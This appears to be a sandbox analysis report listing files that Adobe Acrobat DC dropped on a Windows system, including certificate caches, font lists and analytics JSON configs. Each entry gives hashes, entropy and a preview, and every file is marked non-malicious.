C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklQeTGDtfllXlE/HT8kUJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKJoGDeT8VJdNMa8RdWBwRd
MD5:	6145E0ED5CD172C42D5E4B68A6D9C5DC
SHA1:	D1AAB609E7E39382BE96EC987D5FA9A0B873D7EA
SHA-256:	0D2F38A604D108AC95BC40E97AD0D355AE2E8D5AADD98E16E965EC4FB752F0AA
SHA-512:	DEF0CC1616497FF19584888AE758248017E2FBA87AC92795B26BE8690857406B80DC7FFD321000C9DED6340C84440DB17588ECCF69C854633903D7FC0245842F
Malicious:	false
Preview:	p...... ..........,o.c..(....................................................... ..........W....,w..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKRGL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:IiDnLNkPlE99SNxAhUe/3
MD5:	411CF9331F13B367DF73AA94AE39DB47
SHA1:	5943AA69838692D6A6E4ECB66D4F8139AF6B25F2
SHA-256:	2EA9CD678FD5DA584B62082EC02B798AA1F4F15FA2134EA418CE40B8FF0A4AE1
SHA-512:	2983A631FA72CD3CF0DFB1151E9915196DDEF25480A5C988B3E1E22311BCDBD951E04CB1E1455F543A0D32075891ED46B96D207E9BC50716A49C8355028362CA
Malicious:	false
Preview:	p...... .........B...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.776

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.776

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340267438928227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJM3g98kUwPeUkwRe9:YvXKXkNmtV0clBGMbLUkee9
MD5:	63DE566AF6581AA44760BB3DF7CCAD74
SHA1:	4BC5923C0D18B5597F1E037A49B2629418AC82D6
SHA-256:	66D1E9E79C49E81B5857EB7C2C17A6C48CF577C26C83CAC7802A91A467FD365D
SHA-512:	7063BDBACB3B351250698A489BBFD8114559C0C95F56A17ED9C4E0FF22B920F63AD31CB1AFF2FE6873AD88D65B99F3F28407F2F2CE26AE2B5E4C6F3759634062
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289928626002605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfBoTfXpnrPeUkwRe9:YvXKXkNmtV0clBGWTfXcUkee9
MD5:	7A78FC178823F62DF65B30F6E89EA987
SHA1:	452F957748CC0C37590CD4C390076D4635C1CC4C
SHA-256:	45F2FE03B63F2D80461067BD8746C05F064B733A82F5FA5F2516811397F4BF3A
SHA-512:	B141A066C739C4D9030796DFC649E065D111820D247F2171ADE69F0D9A48E42FB5FCD16764EB2A7F7EDEF3FEC5A72CC29F13734ADA2973A8B83632F3CE315A1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2696879536596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfBD2G6UpnrPeUkwRe9:YvXKXkNmtV0clBGR22cUkee9
MD5:	6859BC531D581B3808E57E9DDF2D4213
SHA1:	0848D85727EEED961A4823827696B9F90F4AD4CE
SHA-256:	171CB8ED4D43A5468CA4BA524D30A58B1908859A81E8242D9C9A31A87904D626
SHA-512:	6FA03FD33ECDF820C12FDF4C2045A4619DB9D29AA65C6B62219F2A3E4CBFE3C4EB287C5E3A09A63C512230C1F1FD656EE8E0D21B9BD054B8E9ED608F2BAA0463
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3194796304732535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfPmwrPeUkwRe9:YvXKXkNmtV0clBGH56Ukee9
MD5:	140463DADD5E5A5E51EBC5F3ADE1163E
SHA1:	4F9A5A8AF53453EA280495585F8E8B3C8768823D
SHA-256:	E4AB1F2629FED5649CEE0AB7F5CB17BD879BDC4CABD32FD7B083DABAE7568E1C
SHA-512:	4DDE225D0460AC5D1A2D1B3A07EF28DB9BD8DD6FC9ED641A8F864616A7980F8C4B60D5347C4DF9E55618F942DE2EA85A4AF9D66D552DC73D6C3704B8EBB64AD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6880461217537714
Encrypted:	false
SSDEEP:	24:Yv6XkAtlmpLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvImhgy6SAFv5Ah8cv/I
MD5:	C3D40323E21FE614D7BFEB196A45BA84
SHA1:	0DE79A5DA7FBE1E5AEC08E9C2F8913E1A954DD7F
SHA-256:	F4B9A89D7C23ADD85F887BC586D7A2AB073F398880857762E496605ED5508323
SHA-512:	B463127C1ABBBC0983CCDF5B7035F96D2D786BD5BD5D13D9E90A626CE8AD31523E83A58A98627D86E06A6A3568A5577750B1C8D8C4104E75FB51E73EA80365CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2695798045581626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJf8dPeUkwRe9:YvXKXkNmtV0clBGU8Ukee9
MD5:	63D0542DF3DF27C65F296CC5A2FA7A45
SHA1:	37DD0DBCAB5C58E3AAFDE1F61560EFD81E2A17CE
SHA-256:	3DFA368797A025205552CD74335CBB7A59F2A0428E8892939C162115827308B7
SHA-512:	C0AE5B6266B9E1C9805409316788D27A6BCBCFAB48C6959148D50BA42CCD74D31D4F8C7AEAECB428CE9282EA66DA251B331D116CD4969ED6EBF79ACBD83ABF80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272560765622275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfQ1rPeUkwRe9:YvXKXkNmtV0clBGY16Ukee9
MD5:	6A3467608FF9DA5FCF0F3DD999E779AA
SHA1:	4EF3FAFE94E3400D99EFAD660144C700F1628F12
SHA-256:	DFF7E876B12A1F9792DEADF783704EDCC077450771ED112284AD0125080F90D8
SHA-512:	386BF81A235318E25DC3FC41AE795C303F301D1864813F0ED2EAD1D77A54B3CFDF5EACEAE48ECF9947EE97B6B45908C44208E57782F30EA0E3B30B31F680FA19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280013658866761
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfFldPeUkwRe9:YvXKXkNmtV0clBGz8Ukee9
MD5:	61F83479B35D35CA42B8FAD9AFB073BE
SHA1:	9BFD3F6EC0FA670B933415FF38651B56CFBF526A
SHA-256:	4078804CE2CF986E25803DD574FBAF619C017D50A12241F3540AC5D5ADDC0977
SHA-512:	403BFD15BAB580A6306738244400056353D0B53ADC1D37051D3E6FDFA098CB2F23BA1864410DA9F831C5F8B3B8287E9DC1991331E3514813B218F1A707D3EF79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.295297040309803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfzdPeUkwRe9:YvXKXkNmtV0clBGb8Ukee9
MD5:	4659C44F210003C4D68FE0FD43D26F22
SHA1:	BBFB8ACEBA9AC69927F7EE6A140736ACD20B58BB
SHA-256:	4F164C558175D353DF2D9B26069F74CA7C44A54F76D30CC2BFA540CD3FD8DC55
SHA-512:	1974CCA841974C6DDB7B70C1D0E2145070EFAD72A1B932A7F6216AAFD522330C41072D2F2EADE940BE6F00069A111E74E466D326CD1699018FBA6A2AC24DFF3F
Malicious:	false
